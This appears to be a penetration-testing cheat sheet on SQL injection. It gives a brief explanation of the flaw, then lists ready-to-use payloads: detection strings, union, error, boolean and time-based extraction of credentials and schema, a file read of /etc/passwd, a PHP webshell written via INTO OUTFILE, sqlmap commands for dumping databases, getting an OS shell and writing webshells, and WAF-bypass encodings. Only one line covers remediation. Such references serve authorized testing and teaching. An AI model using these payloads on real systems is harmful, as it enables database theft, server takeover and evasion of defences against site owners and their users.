OPSECTLAS you are here: Web
Web

SQL Injection (SQLi)

reference 75 commands 1 tool

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex

reached from Web injection point

yieldsWeb injection point
toolssqlmap
How it works

SQL injection occurs when user-supplied input is concatenated directly into SQL queries without parameterization or proper sanitization. The database interprets attacker-controlled input as SQL syntax rather than data. Because the query is constructed at runtime using string concatenation ("SELECT * FROM users WHERE id = " + user_input), injecting SQL metacharacters such as single quotes, comments, and operators causes the database to alter its execution logic. The attacker can manipulate query logic, extract arbitrary data from any table the database user can access, write files to disk, or execute OS commands depending on the database type and configuration.

Detection · Manual Payloads

Inject these one at a time into any user-controlled parameter (GET, POST, Cookie, Header). An error, changed response, or behavioral difference confirms injection.

'
''
`
,
"
\
')
'))

-

#
/*
/*!
' OR '1'='1
' OR 1=1--
' OR 1=1#
" OR 1=1--
' OR 'a'='a
1' ORDER BY 1--
1' ORDER BY 10--         (keep increasing until error → column count = last success)
1' UNION SELECT NULL--
1' UNION SELECT NULL,NULL--
1 AND 1=1
1 AND 1=2            (different response from above = Boolean injection confirmed)
1' AND SLEEP(5)--    (time delay = blind injection confirmed)

Error signatures by DBMS

DBMSSignature
MySQLYou have an error in your SQL syntax
MySQLWarning: mysql_fetch
MSSQLUnclosed quotation mark after the character string
MSSQLIncorrect syntax near
OracleORA-01756: quoted string not properly terminated
PostgreSQLERROR: unterminated quoted string
SQLiteSQLite3::query(): near
GenericSQL syntax error, unexpected end of SQL command
Exploitation
Union-Based (Requires visible output in response)
-- Step 1: Determine column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 5--    (error at 5 = 4 columns)

-- Step 2: Find visible columns
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 'a','b','c','d'--

-- Step 3: Extract data
' UNION SELECT username,password,NULL,NULL FROM users--
' UNION SELECT user(),database(),version(),NULL--
' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

-- File read (MySQL, requires FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL,NULL--

-- Write webshell
' UNION SELECT "<?php system($_GET['c']); ?>",NULL,NULL,NULL INTO OUTFILE '/var/www/html/shell.php'--
Error-Based (No visible output needed · data in error message)

MySQL updatexml()

' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1)--

MySQL extractvalue()

' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 1),0x7e))--
Boolean Blind

Confirm: true vs false responses differ

' AND 1=1--    (normal page)
' AND 1=2--    (different page = blind confirmed)

Extract data character by character

' AND SUBSTRING(database(),1,1)='a'--
' AND ASCII(SUBSTRING(database(),1,1))>97--
' AND (SELECT COUNT(*) FROM users)>0--
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
Time-Based Blind

MySQL

' AND SLEEP(5)--
1; SELECT SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--

MSSQL

'; WAITFOR DELAY '0:0:5'--
1; IF (1=1) WAITFOR DELAY '0:0:5'--

PostgreSQL

'; SELECT pg_sleep(5)--
1; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

Oracle

'; SELECT DBMS_PIPE.RECEIVE_MESSAGE('a',5) FROM DUAL--
sqlmap Full Command Reference

GET parameter

sqlmap -u "http://<TARGET>/page.php?id=1" --batch

POST parameter

sqlmap -u "http://<TARGET>/login.php" --data="user=admin&pass=test" --batch

Cookie injection

sqlmap -u "http://<TARGET>/profile" --cookie="id=1; session=abc" -p id --batch

Header injection (User-Agent, Referer, X-Forwarded-For)

sqlmap -u "http://<TARGET>/" -H "User-Agent: *" --level=3 --batch
sqlmap -u "http://<TARGET>/" -H "X-Forwarded-For: *" --batch

From Burp Suite saved request (mark injection point with *)

sqlmap -r request.txt --batch

Enumerate databases → tables → dump

sqlmap -u "http://<TARGET>/page.php?id=1" --batch --dbs
sqlmap -u "http://<TARGET>/page.php?id=1" --batch -D <DB> --tables
sqlmap -u "http://<TARGET>/page.php?id=1" --batch -D <DB> -T users --columns
sqlmap -u "http://<TARGET>/page.php?id=1" --batch -D <DB> -T users -C username,password --dump

Dump everything

sqlmap -u "http://<TARGET>/page.php?id=1" --batch --dump-all

Get OS shell

sqlmap -u "http://<TARGET>/page.php?id=1" --os-shell --batch

Read file

sqlmap -u "http://<TARGET>/page.php?id=1" --file-read=/etc/passwd --batch

Write webshell

sqlmap -u "http://<TARGET>/page.php?id=1" \
  --file-write=/kali/shell.php \
  --file-dest=/var/www/html/shell.php --batch

Specify DBMS (saves time)

sqlmap -u "http://<TARGET>/page.php?id=1" --dbms=mysql --batch

Increase aggression

sqlmap -u "http://<TARGET>/page.php?id=1" --level=5 --risk=3 --batch

Bypass WAF · tamper scripts

sqlmap -u "http://<TARGET>/page.php?id=1" --tamper=space2comment --batch
sqlmap -u "http://<TARGET>/page.php?id=1" --tamper=between,randomcase,space2comment --batch
WAF Bypass Techniques

Case variation

SeLeCt UsEr()
UNION/**/SELECT

Comments as whitespace

UNION/**/SELECT/**/NULL

URL encoding

UNION%20SELECT%20NULL
%55NION%20%53ELECT

Double URL encoding

%2555NION %2553ELECT

Inline comments

UN/**/ION SE/**/LECT

Keyword splitting (MySQL specific)

UNIO/**/N SELECT

Whitespace alternatives

UNION%09SELECT%09NULL       (tab)
UNION%0ASELECT%0ANULL       (newline)
UNION%0DSELECT%0DNULL       (carriage return)

Scientific notation for numbers (MySQL)

1e0 UNION SELECT NULL-- (1e0 = 1)

Hex encoding strings

' UNION SELECT 0x61646d696e--    (0x61646d696e = 'admin')
Remediation

Use parameterized queries / prepared statements. Never concatenate user input into SQL strings.

connected